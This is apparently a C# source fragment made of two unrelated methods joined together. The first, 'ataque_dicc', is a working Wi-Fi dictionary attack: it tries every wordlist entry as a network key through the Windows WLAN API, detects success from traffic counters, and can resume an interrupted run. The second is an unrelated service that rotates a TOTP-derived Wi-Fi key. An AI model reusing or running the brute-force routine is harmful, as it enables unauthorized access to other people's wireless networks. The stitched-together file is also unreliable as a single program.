private void ataque_dicc()
{
long tcpPackets = get_session_ip();
long performed = 0;
MaxProgres = Utils.CountLinesInFile(diccionario);
double percent = 0;
string profileXml;
bool keyLista = false;
string tipo_key = "";
string index_key = "";
System.IO.StreamReader reader = null;
try{
if (File.Exists(tmpFileName))
{
if (continueAttack)
{
using (StreamReader r = new StreamReader(tmpFileName))
{
String line = null;
line = r.ReadLine();
String[] vars = line.Split(',');
strName = vars[0];
strCipher = vars[1];
diccionario = vars[2];
strAuth = vars[3];
delay = int.Parse(vars[4]);
reader = new StreamReader(diccionario);
Key = string.Empty;
while (!vars[5].Equals(Key) && !reader.EndOfStream)
{
Key = reader.ReadLine();
performed++;
percent = performed / MaxProgres * 100;
ReportProgress((int)percent);
}
keyLista = true;
}
File.Delete(tmpFileName);
} // cargar variables
else
{
File.Delete(tmpFileName);
reader = new StreamReader(diccionario);
}
}
else
{
strName = SelectedWlan.ESSID;
strCipher = WlanClient.getCipher(SelectedWlan.Cipher);
strAuth = WlanClient.getAuth(SelectedWlan.Auth);
reader = new StreamReader(diccionario);
}
while (!connected && !reader.EndOfStream && !CancellationPending)
{
if (!keyLista)
{
Key = reader.ReadLine();
}
else
{
keyLista = false;
}
if (key_valid(Key, strCipher))
{
tipo_key = "passPhrase";
if (strCipher == "WEP")
{
tipo_key = "networkKey";
}
if (strAuth == "open")
{
index_key = "<keyIndex>0</keyIndex>";
}
profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{1}</keyMaterial></sharedKey>{5}</security></MSM></WLANProfile>",
strName, Key, strAuth, strCipher, tipo_key, index_key);
INTERFAZ.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
INTERFAZ.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, strName);
performed++;
percent = performed / MaxProgres * 100;
ReportProgress((int)percent);
while (INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Associating || INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Authenticating)
{
Thread.Sleep(50);
}
Thread.Sleep(delay * 1000);
if (Math.Abs(IfaceEthernet.GetIPv4Statistics().BytesReceived - tcpPackets) > 3)
{
connected = true;
}
if (!connected)
{
INTERFAZ.DeleteProfile(strName);
}
Thread.Sleep(50);
if (CancellationPending)
{
WorkerCancelled = true;
}
}
}
}
catch (Exception ex) {
Console.WriteLine(ex);
Debug.WriteLine(ex);
}
finally { if (reader != null)
{
reader.Close();
}
}
}
private void Run()
{
this.LoadConfig();
this.currentConfigCancelSource = new CancellationTokenSource();
ServiceProxy coreService;
try
{
coreService = new ServiceProxy()
{
CanSendCallbacks = false
};
ServiceHost host = new ServiceHost(coreService);
host.Open();
coreService.SettingsUpdatedEvent += CoreService_SettingsUpdatedEvent;
}
catch (Exception ex)
{
Trace.TraceError(ex.ToString());
throw;
}
do
{
if (this.settings != null)
{
coreService.Settings = this.settings;
coreService.CanSendCallbacks = true;
Trace.TraceInformation(this.settings.ToString());
this.currentConfigCancelSource = new CancellationTokenSource();
WlanClient client = new WlanClient();
WlanClient.WlanInterface wlanIface = client.Interfaces.SingleOrDefault(p => p.InterfaceGuid.Equals(this.settings.WlanInterfaceId));
if (wlanIface == null)
{
throw new ArgumentException("The provided wlan interface id does not exist.");
}
byte[] otpKey = Base32.Base32Encoder.Decode(this.settings.SecretKeyBase32);
OtpSharp.Totp otpProvider = new OtpSharp.Totp(otpKey, this.settings.StepSeconds, totpSize: this.settings.TotpDigitCount);
WLANProfile defaultProfile = WLANProfile.Default(this.settings.ESSID);
if (wlanIface.GetProfiles().Any(p => p.profileName.Equals(this.settings.ESSID)))
{
wlanIface.DeleteProfile(this.settings.ESSID);
}
XmlSerializer xmlSer = new XmlSerializer(typeof(WLANProfile));
string textProfile = String.Empty;
using (StringWriter writer = new StringWriter())
{
xmlSer.Serialize(writer, defaultProfile);
textProfile = writer.ToString();
}
DateTime currentDate;
DateTime nextChange;
nextChange = currentDate = DateTime.UtcNow;
SHA1CryptoServiceProvider sha1Provider = new SHA1CryptoServiceProvider();
string pskhash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(this.settings.PSHK))).Replace("-", "").ToLower();
do
{
try
{
double sleepSeconds = 0.1;
if (currentDate >= nextChange)
{
try
{
//Generate key
string otp = otpProvider.ComputeTotp(currentDate);
string totphash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(otp))).Replace("-", "").ToLower();
string newKey = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(totphash + pskhash))).Replace("-", "").ToLower();
Trace.TraceInformation(otp + " - " + newKey);
//if (wlanIface.CurrentConnection.profileName.Equals(networkName, StringComparison.OrdinalIgnoreCase))
{
string newProf = profileRegex.Replace(textProfile, $"<protected>false</protected><keyMaterial>{newKey}</keyMaterial>");
wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, newProf, true);
if (this.settings.AutoConnect)
{
//wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
}
}
int desync = (int)DateTime.UtcNow.TimeOfDay.TotalSeconds % this.settings.StepSeconds;
nextChange = DateTime.UtcNow.AddSeconds(this.settings.StepSeconds - desync);
Task.Factory.StartNew(() => coreService.UpdateValues(newKey, nextChange));
sleepSeconds = this.settings.StepSeconds - desync - 1;
Trace.TraceInformation("Next change: " + nextChange.ToString("T"));
}
catch (Exception e)
{
Trace.TraceError(e.ToString());
}
}
//Task.Delay(TimeSpan.FromSeconds(sleepSeconds), this.currentConfigCancelSource.Token).Wait();
this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(sleepSeconds));
currentDate = DateTime.UtcNow;
}
catch (AggregateException)
{ }
} while (!this.currentConfigCancelSource.IsCancellationRequested);
sha1Provider.Dispose();
}
else
{
coreService.CanSendCallbacks = false;
Trace.TraceInformation("Waiting for a valid settings");
//Task.Delay(TimeSpan.FromSeconds(10), this.currentConfigCancelSource.Token).Wait();
this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(60));
}
} while (!this.serviceCancelSource.IsCancellationRequested);
}
